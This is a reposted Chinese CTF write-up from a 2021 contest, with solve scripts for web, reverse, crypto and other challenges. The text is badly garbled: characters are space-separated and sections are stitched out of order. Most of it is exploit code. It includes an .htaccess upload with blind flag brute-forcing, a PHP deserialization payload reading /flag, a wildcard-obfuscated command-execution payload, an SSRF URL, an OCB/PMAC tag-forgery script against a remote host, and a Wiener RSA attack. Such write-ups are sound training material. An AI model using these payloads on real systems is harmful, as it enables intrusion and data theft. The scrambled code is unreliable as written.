[18007] 2021-05-11_2021津杯Writeup(详细版)

文档创建者:s7ckTeam
浏览次数:4
最后更新:2025-01-18
2021-05-11_2021津杯Writeup(详细版) 0 x 0 1   W E B 2 0 2 1 W r i t e u p   H a c k i n g   2 0 2 1 - 0 5 - 1 1 c a n W e b         U p l o a d H u b         h a t e _ p h p         G o O S S         p o w e r _ c u t R E         G o o d R E         e a s y R e C r y p t o                 j u s t O C B         r s a P w n         p w n m e         P w n C T F M         n o 1         e a s y p w n M i s c         m 1 b m p         m 0 u s b M o b i l e         h e l l e h e l l o k e y 1 U p l o a d H u b i m p o r t   r e q u e s t s i m p o r t   s t r i n g i m p o r t   h a s h l i b i p   =   r e q u e s t s . g e t ( ' h t t p : / / 1 1 8 . 2 4 . 1 8 5 . 1 0 8 / i p . p h p ' ) . t e x t p r i n t ( i p ) d e f   c h e c k ( a ) : f   =   ' ' ' < I f   " f i l e ( ' / f l a g ' ) = ~   / ' ' ' + a + ' ' ' / " > E r r o r D o c u m e n t   4 0 4   " w u p c o " < / I f > ' ' ' r e s p   =   r e q u e s t s . p o s t ( " h t t p : / / 1 2 2 . 1 1 2 . 2 4 8 . 2 2 2 : 2 0 0 0 3 / i n d e x . p h p ? i d = 1 6 7 " ,
2 h a t e _ p h p 3 G o O S S p a y l o a d 3 0 2 3 0 2 1 2 7 . 0 . 0 . 1 : 8 0 / i n d e x . p h p f l a g 4 p o w e r _ c u t r e s p   =   r e q u e s t s . p o s t ( " h t t p : / / 1 2 2 . 1 1 2 . 2 4 8 . 2 2 2 : 2 0 0 0 3 / i n d e x . p h p ? i d = 1 6 7 " , d a t a = { ' s u b m i t ' :   ' s u b m i t ' } ,   f i l e s = { ' f i l e ' :   ( ' . h t a c c e s s ' , f ) }   ) a   =   r e q u e s t s . g e t ( " h t t p : / / 1 2 2 . 1 1 2 . 2 4 8 . 2 2 2 : 2 0 0 0 3 / u p l o a d / " + i p + " / a " ) . t e x t i f   " w u p c o "   n o t   i n   a : r e t u r n   F a l s e e l s e : r e t u r n   T r u e f l a g   =   " f l a g { B N " c   =   s t r i n g . a s c i i _ l e t t e r s   +   s t r i n g . d i g i t s   +   " { } " f o r   j   i n   r a n g e ( 3 2 ) : f o r   i   i n   c : p r i n t ( " c h e c k i n g :   " +   f l a g + i ) i f   c h e c k ( f l a g + i ) : f l a g   =   f l a g + i p r i n t ( f l a g ) b r e a k e l s e : c o n t i n u e c o d e = ? > < ? = ` / ? ? ? / ? ? ? % 2 0 / ? ? ? ? ` ? > { " u r l " :   " h t t p : / / 1 2 7 . 0 . 0 . 1 : 1 2 3 4 u 0 0 2 f / t e s t . d 7 c b 7 b 7 2 . y 7 z . x y z / . . / . . / 8 1 3 d 6 2 0 e 0 a 6 8 5 3 3 8 8 3 f 8 9 7 c 4 e 0 3 c f 1 7 c " } < ? p h p c l a s s   l o g g e r {         p u b l i c   $ l o g F i l e ;         p u b l i c   $ i n i t M s g ;         p u b l i c   $ e x i t M s g ;         f u n c t i o n   _ _ c o n s t r u c t ( $ f i l e ) {                 / /   i n i t i a l i s e   v a r i a b l e s                 $ t h i s - > i n i t M s g = " # - - s e s s i o n   s t a r t e d - - # n " ;                 $ t h i s - > e x i t M s g = " # - - s e s s i o n   e n d - - # n " ;                 $ t h i s - > l o g F i l e   =     $ f i l e ;                 r e a d f i l e ( $ t h i s - > l o g F i l e ) ;         }
w e b l o g _ _ c o n s t r u c t ( ) l o g g e r r e a d f i l e f l a g s t r _ r e p l a c e e x p :         f u n c t i o n   l o g ( $ m s g ) {                 $ f d = f o p e n ( $ t h i s - > l o g F i l e , " a + " ) ;                 f w r i t e ( $ f d , $ m s g . " n " ) ;                 f c l o s e ( $ f d ) ;         }         f u n c t i o n   _ _ d e s t r u c t ( ) {         e c h o   " t h i s   i s   d e s t r u c t " ;         } } c l a s s   w e b l o g   {         p u b l i c   $ w e b l o g f i l e ;         f u n c t i o n   _ _ c o n s t r u c t ( )   {                 $ f l a g = " s y s t e m ( ' c a t   / f l a g ' ) " ;                 e c h o   " $ f l a g " ;         }         f u n c t i o n   _ _ w a k e u p ( ) {                 / /   s e l f : : w a f ( $ t h i s - > f i l e p a t h ) ;                 $ o b j   =   n e w   l o g g e r ( $ t h i s - > w e b l o g f i l e ) ;         }     p u b l i c   f u n c t i o n   w a f ( $ s t r ) {                 $ s t r = p r e g _ r e p l a c e ( " / [ < > * # ' | ? n   ] / " , " " , $ s t r ) ;                 $ s t r = s t r _ r e p l a c e ( ' f l a g ' , ' ' , $ s t r ) ;                 r e t u r n   $ s t r ;         }         f u n c t i o n   _ _ d e s t r u c t ( ) {                 e c h o   " t h i s   i s   d e s t r u c t " ;         } } $ l o g   =   $ _ G E T [ ' l o g ' ] ; $ l o g   =   p r e g _ r e p l a c e ( " / [ < > * # ' | ? n   ] / " , " " , $ l o g ) ; $ l o g   =   s t r _ r e p l a c e ( ' f l a g ' , ' ' , $ l o g ) ; $ l o g _ u n s e r   =   u n s e r i a l i z e ( $ l o g ) ; ? > < ? p h p c l a s s   w e b l o g   {         p u b l i c   $ w e b l o g f i l e   =   ' / f l f l a g a g ' ;
0 x 0 2   R E   p a y l o a d : 1 G o o d R E E A         p u b l i c   $ w e b l o g f i l e   =   ' / f l f l a g a g ' ;         f u n c t i o n   _ _ c o n s t r u c t ( )   {                 $ f l a g = " s y s t e m ( ' c a t   / f l a g ' ) " ;                 e c h o   " $ f l a g " ;         }         f u n c t i o n   _ _ w a k e u p ( ) {                 / /   s e l f : : w a f ( $ t h i s - > f i l e p a t h ) ;                 $ o b j   =   n e w   l o g g e r ( $ t h i s - > w e b l o g f i l e ) ;         } } $ a   =   n e w   w e b l o g ( ) ; e c h o   s e r i a l i z e ( $ a ) ; O : 6 : " w e b l o g " : 1 : { s : 1 0 : " w e b l o g f i l e " ; s : 9 : " / f l f l a g a g " ; } i m p o r t   s y s f r o m   c t y p e s   i m p o r t   * f r o m   p w n   i m p o r t   * d e f   e n c i p h e r ( v ,   k ) : y   =   c _ u i n t 3 2 ( v [ 0 ] ) z   =   c _ u i n t 3 2 ( v [ 1 ] ) s u m   =   c _ u i n t 3 2 ( 0 ) d e l t a   =   0 x 9 e 3 7 7 9 b 9 n   =   3 2 w   =   [ 0 , 0 ] w h i l e ( n > 0 ) : s u m . v a l u e   + =   d e l t a y . v a l u e   + =   (   z . v a l u e   < <   4   )   +   k [ 0 ]   ^   z . v a l u e   +   s u m . v a l u e   ^   ( z . v a l u e   > >   5   )   +   k [ 1 ] z . v a l u e   + =   (   y . v a l u e   < <   4   )   +   k [ 2 ]   ^   y . v a l u e   +   s u m . v a l u e   ^   ( y . v a l u e   > >   5   )   +   k [ 3 ] n   - =   1 w [ 0 ]   =   y . v a l u e w [ 1 ]   =   z . v a l u e r e t u r n   w d e f   d e c i p h e r ( v ,   k ) : y   =   c _ u i n t 3 2 ( v [ 0 ] ) z   =   c _ u i n t 3 2 ( v [ 1 ] ) s u m   =   c _ u i n t 3 2 ( 0 x c 6 e f 3 7 2 0 ) d e l t a   =   0 x 9 e 3 7 7 9 b 9
2 e a s y R e : s e e d , s e e d 1 5 1 d e l t a   =   0 x 9 e 3 7 7 9 b 9 n   =   3 2 w   =   [ 0 , 0 ] w h i l e ( n > 0 ) : z . v a l u e   - =   (   y . v a l u e   < <   4   )   +   k [ 2 ]   ^   y . v a l u e   +   s u m . v a l u e   ^   ( y . v a l u e   > >   5   )   +   k [ 3 ] y . v a l u e   - =   (   z . v a l u e   < <   4   )   +   k [ 0 ]   ^   z . v a l u e   +   s u m . v a l u e   ^   ( z . v a l u e   > >   5   )   +   k [ 1 ] s u m . v a l u e   - =   d e l t a n   - =   1 w [ 0 ]   =   y . v a l u e w [ 1 ]   =   z . v a l u e r e t u r n   w d e f   g e t _ d e c ( v ) : k e y   =   [ 0 x 1 1 ]   *   4 s   =   d e c i p h e r ( v , k e y ) r e s   =   ' ' f o r   i   i n   s : r e s   + =   p 3 2 ( i ) [ : : - 1 ] . e n c o d e ( ' h e x ' ) . u p p e r ( ) r e t u r n   r e s i f   _ _ n a m e _ _   = =   " _ _ m a i n _ _ " : #   v   =   [ 0 x 7 9 A E 1 A 3 B , 0 x 5 9 6 0 8 0 D 3 ] p r i n t ( g e t _ d e c ( [ 0 x 7 9 A E 1 A 3 B , 0 x 5 9 6 0 8 0 D 3 ] ) ) p r i n t ( g e t _ d e c ( [ 0 x 8 0 E 0 3 E 8 0 , 0 x 8 4 6 C 8 D 7 3 ] ) ) p r i n t ( g e t _ d e c ( [ 0 x 2 1 A 0 1 C F 7 , 0 x C 7 C A C A 3 2 ] ) ) p r i n t ( g e t _ d e c ( [ 0 x 4 5 F 9 A C 1 4 , 0 x C 5 F 5 F 2 2 F ] ) ) s e e d   =   ~ ( 5 3   *   ( 2   *   f [ 6 ]   +   f [ 1 5 ]   +   3   *   f [ 2 9 ] ) )   &   0 x F F F f o r   i   i n   r a n g e ( 3 3 ) : s [ i ]   =   ( 0 x 1 E D 0 6 7 5   *   s e e d   +   0 x 6 C 1 )   %   0 x F E s e e d   =   s [ i ] f o r   i   i n   r a n g e ( 3 2 ) : f o r   j   i n   r a n g e ( 3 3 ) : o u t p u t [ i   +   j ]   =   ( o u t p u t [ i   +   j ]   +   ( f [ i ]   ^   s [ j ] ) )   ^   5 9 7 7 6 5 4 s e e d   =   1 5 1 m a g i c   =   5 9 7 7 6 5 4 s   =   [ ] f o r   i   i n   r a n g e ( 3 3 ) : t m p   =   ( 0 x 1 E D 0 6 7 5   *   s e e d   +   0 x 6 C 1 )   %   0 x F E s . a p p e n d ( t m p ) s e e d   =   t m p f l a g   =   [ 0   f o r   i   i n   r a n g e ( 3 2 ) ] f l a g [ 0 ]   =   o u t p u t [ 0 ]   ^   m a g i c   ^   s [ 0 ] f o r   k   i n   r a n g e ( 1 , 3 2 ) :
0 x 0 3   C r y p t o   1 c i p h e r t e x t ,   t a g   = e n c r y p t ( " I _ a m _ a d m i n _ p l z _ g i v e _ m e _ t h e _ f l a g " ,   " F r o m   u s e r " ) g e t f l a g a s s o c i a t e _ d a t a A u t h A u t h   = p m a c ( a s s o c i a t e _ d a t a ) n e w _ t a g   =   t a g   ^   p m a c ( " F r o m   u s e r " ) ^   p m a c ( " F r o m   a d m i n " ) f o r   k   i n   r a n g e ( 1 , 3 2 ) : l a s t   =   0 f o r   i   i n   r a n g e ( l e n ( b b b [ k ] ) - 1 ) : l a s t   =   ( l a s t   +   ( f l a g [   b b b [ k ] [ i ] [ 0 ]   ]   ^   s [   b b b [ k ] [ i ] [ 1 ]   ] ) )   ^   m a g i c f l a g [   k   ]   =   ( ( o u t p u t [ k ]   ^   m a g i c )   -   l a s t )   ^   s [   b b b [ k ] [ - 1 ] [ 1 ]   ] f o r   i   i n   f l a g [ : 3 2 ] : p r i n t ( c h r ( i & 0 x f f ) , e n d = ' ' ) i m p o r t   b a s e 6 4 s   = ( b a s e 6 4 . b 6 4 d e c o d e ( ' J T J G M T A y J T J G M T A 4 J T J G O T c l M k Y x M D M l M k Y x M j M l M k Y x M T M l M k Y 0 O S U y R j E y M C U y R j c 1 J T J G M T E y J T J G M T A 5 J T J G N T Y l M k Y x M T g l M k Y 3 M y U y R j c 2 J T J G O D c l M k Y x M T Q l M k Y x M D c l M k Y x M D k l M k Y 4 O C U y R j E y M C U y R j g 2 J T J G N T Q l M k Y x M D Y l M k Y 0 O S U y R j Q 5 J T J G N z c l M k Y x M D A l M k Y 5 O S U y R j c x J T J G M T E 2 J T J G N z Y l M k Y x M j I l M k Y x M T g l M k Y 4 M i U y R j E y M S U y R j g 2 J T J G M T I 1 ' ) ) p r i n t ( ' ' . j o i n ( m a p ( l a m b d a   x : c h r ( i n t ( x ) ) ,   s . s p l i t ( b ' % 2 F ' ) [ 1 : ] ) ) ) d e f   p m a c ( d a t a ) : o f f s e t   =   a e s . e n c r y p t ( b " x 0 0 " * 1 6 ) o f f s e t   =   t i m e s 3 ( o f f s e t ) o f f s e t   =   t i m e s 3 ( o f f s e t ) o f f s e t   =   t i m e s 2 ( o f f s e t ) d a t a   + =   l o n g _ t o _ b y t e s ( i n t ( ' 1 0 0 0 0 . . . 0 0 ' ,   2 ) )   #   1 6 o f f s e t   =   t i m e s 3 ( o f f s e t ) o f f s e t   =   t i m e s 3 ( o f f s e t )
n o n c e m s g a e s . e n c r y p t ( m s g ) Δ m 1   =   l e n c 1   =   m 1   ^   a e s . e n c r y p t ( l e n   ^   Δ ) m 1   =   l e n ,   m 2   = b " x 0 0 " * 1 6 c 1 '   =   Δ   ^ a e s . e n c r y p t ( l e n   ^   Δ ) Δ   =   c 1 '   ^   l e n   ^   c 1 Δ m 1   =   m s g   ^   Δ c 1   =   Δ   ^   a e s . e n c r y p t ( m s g ) a e s . e n c r y p t ( m s g )   =   c 1   ^   Δ p m a c b " x 0 0 " * 1 6 f i n a l _ x o r F r o m a d m i n " " F r o m   u s e r " A u t h t a g o f f s e t   =   t i m e s 3 ( o f f s e t ) f i n a l _ x o r   =   x o r ( o f f s e t ,   d a t a ) r e t u r n   a e s . e n c r y p t ( f i n a l _ x o r ) d e f   p m a c ( d a t a ) : o f f s e t   =   a e s . e n c r y p t ( b " x 0 0 " * 1 6 ) o f f s e t   =   t i m e s 3 ( o f f s e t ) o f f s e t   =   t i m e s 3 ( o f f s e t ) o f f s e t   =   t i m e s 2 ( o f f s e t ) d a t a   + =   l o n g _ t o _ b y t e s ( i n t ( ' 1 0 0 0 0 . . . 0 0 ' ,   2 ) )   #   1 6 o f f s e t   =   t i m e s 3 ( o f f s e t ) o f f s e t   =   t i m e s 3 ( o f f s e t ) f i n a l _ x o r   =   x o r ( o f f s e t ,   d a t a ) r e t u r n   a e s . e n c r y p t ( f i n a l _ x o r ) i m p o r t   m a t h f r o m   h a s h l i b   i m p o r t   s h a 2 5 6 f r o m   i t e r t o o l s   i m p o r t   p r o d u c t f r o m   p w n   i m p o r t   * #   c o n t e x t . l o g _ l e v e l   =   ' d e b u g ' c o n n   =   r e m o t e ( " 1 2 2 . 1 1 2 . 1 9 9 . 2 4 " ,   9 9 9 9 ) #   c o n n   =   r e m o t e ( " 1 2 7 . 0 . 0 . 1 " ,   9 9 9 9 ) d e f   p r o o f _ o f _ w o r k ( ) : s   =   s t r i n g . a s c i i _ l e t t e r s   +   s t r i n g . d i g i t s r e c   =   c o n n . r e c v l i n e ( ) . d e c o d e ( ) s u f f i x   =   r e . f i n d a l l ( r ' ( X X X X + ( . * ? ) ) ' ,   r e c ) [ 0 ] d i g e s t   =   r e . f i n d a l l ( r ' = =   ( . * ? ) n ' ,   r e c ) [ 0 ] p r i n t ( f " s u f f i x :   { s u f f i x }   n d i g e s t :   { d i g e s t } " ) p r i n t ( ' C a l c u l a t i n g   h a s h . . . ' ) f o r   i   i n   p r o d u c t ( s ,   r e p e a t = 4 ) : p r e f i x   =   ' ' . j o i n ( i ) g u e s s   =   p r e f i x   +   s u f f i x i f   s h a 2 5 6 ( g u e s s . e n c o d e ( ) ) . h e x d i g e s t ( )   = =   d i g e s t : p r i n t ( g u e s s ) b r e a k c o n n . s e n d l i n e a f t e r ( b ' G i v e   m e   X X X X : ' ,   p r e f i x . e n c o d e ( ) )
c o n n . s e n d l i n e a f t e r ( b ' G i v e   m e   X X X X : ' ,   p r e f i x . e n c o d e ( ) ) d e f   c h o i c e 1 ( m s g ) : n o n c e   =   b y t e a r r a y ( [ 0 ] * 1 6 ) c o n n . r e c v u n t i l ( b " Y o u r   c h o i c e : " ) c o n n . s e n d l i n e ( b " 1 " ) c o n n . s e n d l i n e a f t e r ( b " Y o u r   n o n c e : " ,   n o n c e . h e x ( ) . e n c o d e ( ) ) c o n n . s e n d l i n e a f t e r ( b " Y o u r   m e s s a g e : " ,   m s g . h e x ( ) . e n c o d e ( ) ) c o n n . r e c v u n t i l ( b " Y o u r   c i p h e r t e x t : " , ) c i p h e r   =   b y t e s . f r o m h e x ( c o n n . r e c v l i n e ( ) . s t r i p ( ) . d e c o d e ( ) ) c o n n . r e c v u n t i l ( b " Y o u r   t a g : " , ) t a g   =   b y t e s . f r o m h e x ( c o n n . r e c v l i n e ( ) . s t r i p ( ) . d e c o d e ( ) ) r e t u r n   t a g ,   c i p h e r d e f   c h o i c e 2 ( t a g ,   c i p h e r ) : n o n c e   =   b y t e a r r a y ( [ 0 ] * 1 6 ) c o n n . r e c v u n t i l ( b " Y o u r   c h o i c e : " ) c o n n . s e n d l i n e ( b " 2 " ) c o n n . s e n d l i n e a f t e r ( b " Y o u r   n o n c e : " ,   n o n c e . h e x ( ) . e n c o d e ( ) ) c o n n . s e n d l i n e a f t e r ( b " Y o u r   c i p h e r t e x t : " ,   c i p h e r . h e x ( ) . e n c o d e ( ) ) c o n n . s e n d l i n e a f t e r ( b " Y o u r   t a g : " ,   t a g . h e x ( ) . e n c o d e ( ) ) c o n n . i n t e r a c t i v e ( ) d e f   x o r ( a , b ) : r e t u r n   b y t e a r r a y ( x ^ y   f o r   x , y   i n   z i p ( a , b ) ) d e f   t i m e s 2 ( i n p u t _ d a t a ) : b l o c k s i z e   =   1 6 a s s e r t   l e n ( i n p u t _ d a t a )   = =   b l o c k s i z e #   s e t   c a r r y   =   h i g h   b i t   o f   s r c o u t p u t   =   b y t e a r r a y ( b l o c k s i z e ) c a r r y   =   i n p u t _ d a t a [ 0 ]   > >   7   #   e i t h e r   0   o r   1 f o r   i   i n   r a n g e ( l e n ( i n p u t _ d a t a )   -   1 ) : o u t p u t [ i ]   =   ( ( i n p u t _ d a t a [ i ]   < <   1 )   |   ( i n p u t _ d a t a [ i   +   1 ]   > >   7 ) )   % 2 5 6 o u t p u t [ - 1 ]   =   ( ( i n p u t _ d a t a [ - 1 ]   < <   1 )   ^   ( c a r r y   *   0 x 8 7 ) )   %   2 5 6 a s s e r t   l e n ( o u t p u t )   = =   b l o c k s i z e r e t u r n   o u t p u t d e f   t i m e s 3 ( i n p u t _ d a t a ) : a s s e r t   l e n ( i n p u t _ d a t a )   = =   1 6 o u t p u t   =   t i m e s 2 ( i n p u t _ d a t a ) o u t p u t   =   x o r ( o u t p u t ,   i n p u t _ d a t a ) a s s e r t   l e n ( o u t p u t )   = =   1 6 r e t u r n   o u t p u t d e f   a e s _ e n c r y p t ( m s g ,   d e l t a ) : m 1   =   x o r ( m s g + b y t e a r r a y ( [ 0 ] * 1 6 ) ,   d e l t a ) _ ,   c 1   =   c h o i c e 1 ( m 1 ) r e t u r n   x o r ( c 1 [ : 1 6 ] ,   d e l t a ) d e f   a e s _ e n c r y p t 2 ( m 1 ,   m 2 ,   d e l t a ) : m s g   =   x o r ( m 1 ,   d e l t a )   +   x o r ( m 2 ,   t i m e s 2 ( d e l t a ) )   +   b y t e a r r a y ( [ 0 ] * 1 6 ) _ ,   c i p h e r   =   c h o i c e 1 ( m s g ) c 1   =   x o r ( c i p h e r [ : 1 6 ] ,   d e l t a ) c 2   =   x o r ( c i p h e r [ 1 6 : 3 2 ] ,   t i m e s 2 ( d e l t a ) ) r e t u r n   c 1 ,   c 2 d e f   c a l _ d e l t a ( ) :
_ l e n   =   b y t e a r r a y ( [ 0 ] * 1 5   +   [ 1 6 * 8 ] ) _ ,   c 1   =   c h o i c e 1 ( _ l e n ) _ ,   c 1 1   =   c h o i c e 1 ( _ l e n   +   b y t e a r r a y ( [ 0 ] * 1 6 ) ) c 1 1   =   c 1 1 [ : 1 6 ] d e l t a   =   x o r ( x o r ( c 1 1 ,   _ l e n ) ,   c 1 ) r e t u r n   d e l t a d e f   c a l _ f i n a l _ x o r ( h e a d e r ,   d e l t a ) : b l o c k s i z e   =   1 6 m   =   1 o f f s e t   =   d e l t a   #   d e l t a   =   t i m e s 2 ( o f f s e t ) c h o i c e 1 o f f s e t   =   t i m e s 3 ( o f f s e t ) o f f s e t   =   t i m e s 3 ( o f f s e t ) c h e c k s u m   =   b y t e a r r a y ( b l o c k s i z e ) #   c h e c k   i f   f u l l   b l o c k H _ m   =   h e a d e r [ ( ( m   -   1 )   *   b l o c k s i z e ) : ] a s s e r t   l e n ( H _ m )   < =   b l o c k s i z e i f   l e n ( H _ m )   = =   b l o c k s i z e : #   c o m p l e t e   l a s t   b l o c k #   t h i s   i s   o n l y   p o s s i b l e   i f   m   i s   1 o f f s e t   =   t i m e s 3 ( o f f s e t ) c h e c k s u m   =   x o r ( c h e c k s u m ,   H _ m ) e l s e : #   i n c o m p l e t e   l a s t   b l o c k #   p a d   w i t h   s e p a r a t o r   b i n a r y   1 #   t h e n   p a d   w i t h   z e r o s   u n t i l   f u l l   b l o c k H _ m . a p p e n d ( i n t ( ' 1 0 0 0 0 0 0 0 ' ,   2 ) ) w h i l e   l e n ( H _ m )   <   b l o c k s i z e : H _ m . a p p e n d ( 0 ) a s s e r t   l e n ( H _ m )   = =   b l o c k s i z e c h e c k s u m   =   x o r ( c h e c k s u m ,   H _ m ) o f f s e t   =   t i m e s 3 ( o f f s e t ) o f f s e t   =   t i m e s 3 ( o f f s e t ) #   C o m p u t e   P M A C   r e s u l t f i n a l _ x o r   =   x o r ( o f f s e t ,   c h e c k s u m ) r e t u r n   f i n a l _ x o r d e f   m a i n ( ) : p r o o f _ o f _ w o r k ( ) #   c o n n . i n t e r a c t i v e ( ) d e l t a   =   c a l _ d e l t a ( ) l o g . i n f o ( f " d e l t a :   { d e l t a } " ) #   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - f r o m _ u s e r   =   b y t e a r r a y ( b " F r o m   u s e r " ) f r o m _ a d m i n   =   b y t e a r r a y ( b " F r o m   a d m i n " ) f i n a l _ x o r _ u s e r   =   c a l _ f i n a l _ x o r ( f r o m _ u s e r ,   d e l t a ) f i n a l _ x o r _ a d m i n   =   c a l _ f i n a l _ x o r ( f r o m _ a d m i n ,   d e l t a ) a u t h _ u s e r ,   a u t h _ a d m i n   =   a e s _ e n c r y p t 2 ( f i n a l _ x o r _ u s e r ,   f i n a l _ x o r _ a d m i n , d e l t a ) l o g . i n f o ( f " a u t h _ u s e r :   { a u t h _ u s e r } " ) l o g . i n f o ( f " a u t h _ a d m i n :   { a u t h _ a d m i n } " ) #   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Y o u r   f l a g : f l a g { 2 1 0 5 f d e 8 - 5 b a 4 - 4 f a 9 - a 5 c b - a 1 a f 5 4 2 7 e c 4 e } 2 r s a W i e n e r   A t t a c k #   - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - t a g ,   c i p h e r   =   c h o i c e 1 ( b y t e a r r a y ( b " I _ a m _ a d m i n _ p l z _ g i v e _ m e _ t h e _ f l a g " ) ) n e w _ t a g   =   x o r ( x o r ( t a g ,   a u t h _ u s e r ) ,   a u t h _ a d m i n ) l o g . i n f o ( f " c i p h e r :   { c i p h e r } n t a g :   { t a g } n n e w _ t a g :   { n e w _ t a g } " ) c h o i c e 2 ( n e w _ t a g ,   c i p h e r ) i f   _ _ n a m e _ _   = =   " _ _ m a i n _ _ " : i m p o r t   m a t h f r o m   C r y p t o . U t i l . n u m b e r   i m p o r t   l o n g _ t o _ b y t e s d e f   r e c o v e r ( e , N ) : c f   =   c o n t i n u e d _ f r a c t i o n ( e / N ) . c o n v e r g e n t s ( ) G . < x >   =   Z Z [ ' x ' ] f o r   i n d e x ,   k   i n   e n u m e r a t e ( c f [ 1 : ] ) : d 0   =   k . d e n o m i n a t o r ( ) k   =   k . n u m e r a t o r ( ) i f   k   ! =   0   a n d   ( e   *   d 0   -   1 )   %   k   = =   0 : p h i   =   ( e * d 0   -   1 )   / / k s   =   ( N - p h i + 1 ) f   =   x ^ 2   -   s * x   +   N b   =   f . d i s c r i m i n a n t ( ) i f   b   >   0   a n d   b . i s _ s q u a r e ( ) : d   =   d 0 r o o t s   =   l i s t ( z i p ( * f . r o o t s ( ) ) ) [ 0 ] i f   l e n ( r o o t s )   = =   2   a n d   p r o d ( r o o t s )   = =   N : p r i n t ( " [ x ]   R e c o v e r e d !   n d   =   % 0 x "   % d ) r e t u r n   d e l s e : c o n t i n u e p r i n t ( " [ ]   C o u l d   n o t   d e t e r m i n e   t h e   v a l u e   o f   d   w i t h   t h e   p a r a m e t e r s   g i v e n . M a k e   s u r e   t h a t   d   <   1 / 3   *   N   ^   0 . 2 5 " ) r e t u r n   - 1 d e f   w i e n e r ( c , e , N ) : d   =   r e c o v e r ( e , N ) r e t u r n   I n t e g e r ( p o w ( c , d , N ) ) d e f   t e s t ( ) : c = 5 8 7 0 3 7 9 4 2 0 2 2 1 7 7 0 8 9 4 7 2 8 4 2 4 1 0 2 5 7 3 1 3 4 7 4 0 0 1 8 0 2 4 7 0 7 5 9 6 8 2 0 0 1 2 1 2 2 7 0 5 1 4 3 4 5 8 8 2 7 4 0 4 3 2 7 3 7 9 9 7 2 4 4 8 4 1 8 3 4 1 1 0 7 2 8 3 7 1 3 6 5 0 5 8 4 8 8 5 3 3 1 3 1 0 0 4 6 8 1 1 9 2 7 7 5 1 1 1 4 4 2 3 5 1 7 1 6 5 4 3 1 3 0 3 5 7 7 6 6 1 6 4 5 4 9 6 0 3 3 3 9 9 9 0 3 9 4 5 2 4 9 1 9 2 1 1 4 4 8 4 1 0 8 0 7 7 8 9 6 0 0 4 1 1 9 9 8 8 4 8 2 3 3 6 8 7 7 5 4 0 0 6 0 3 7 1 3 9 8 2 1 3 7 8 0 7 9 9 1 0 4 8 1 3 3 7 9 4 4 5 2 0 6 0 9 5 1 2 5 1 8 5 1 1 8 3 8 5 0 0 0 0 0 9 1 0 3 6 4 6 2 9 7 7 9 4 9 1 2 2 3 4 5 0 6 6 9 9 2 3 0 8 2 9 2 5 7 4 3 4 1 1 9 6 4 1 8 e = 1 1 9 3 9 3 8 6 1 8 4 5 9 6 0 7 6 2 0 4 8 8 9 8 6 8 3 5 1 1 4 8 7 7 9 9 3 1 7 8 5 1 5 7 9 9 4 8 4 4 8 2 5 2 1 3 7 4 6 6 9 6 1 5 8 1 6 2 7 3 5 2 9 2 1 2 5 3 7 7 1 1 5 1 0 1 3 2 8 7 7 2 2 0 7 3 1 1 3 6 3 5 1 8 5 3 0 3 4 4 1 7 8 5 4 5 6 5 9 6 6 4 7 0 1 1 1 2 1 8 6 2 8 3 9 1 8 7 7 7 5 7 1 5 9 6 7 1 6 4 1 6 5 5 0 8 2 2 4 2 4 7 0 8 4 8 5 0 8 2 5 4 2 2 7 7 8 9 9 7 9 5 6 7 4 6 1 0 2 5 1 7 0 6 8 3 9 0 0 3 6 8 5 9 4 7 7 1 4 6 8 2 2 9 5 2 4 4 1 8 3 1 3 4 5 5 4 8 8 5 0 1 6 1 9 8 8 9 3 5 1 1 2 6 2 7 5 2 7 3 6 6 8 4 0 9 4 4 9 7 2 4 4 9 4 6 8 6 6 1 6 9 7 1 8 4 6 4 6 1 3 9 6 2 3 5 2 7 9 6 7 9 0 1 3 1 4
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则